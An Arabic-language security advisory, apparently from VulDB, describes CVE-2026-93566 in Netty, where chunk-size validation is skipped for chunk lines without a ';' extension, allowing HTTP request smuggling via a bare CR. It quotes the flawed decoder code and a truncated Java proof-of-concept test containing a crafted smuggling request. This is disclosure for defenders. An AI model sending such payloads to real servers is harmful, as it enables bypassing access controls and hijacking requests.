CVE-2026-93566 in Netty
الملخص
بحسب VulDB • 19/09/2026
### الملخص يتخطى Netty التحقق الصارم من حجم الشرائح (chunk size) عندما لا تحتوي السطر على امتداد للشرائح (`;`)، وبالتالي يتم قبول سطر يحتوي على CR مدمج عاري (مثل `0\rX`) بدلاً من رفضه، مما يتيح تهريب طلبات HTTP.
### التفاصيل تقوم الدالة `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` بتشغيل المُتحقق الصارم `HttpChunkLineValidatingByteProcessor` فقط عند وجود علامة `;`:
```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) {
return; } ```
وفقًا لـ RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A:
`chunk-size = 1*HEXDIG`
### PoC
```java @Test public void test() {
String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
Once again VulDB remains the best source for vulnerability data.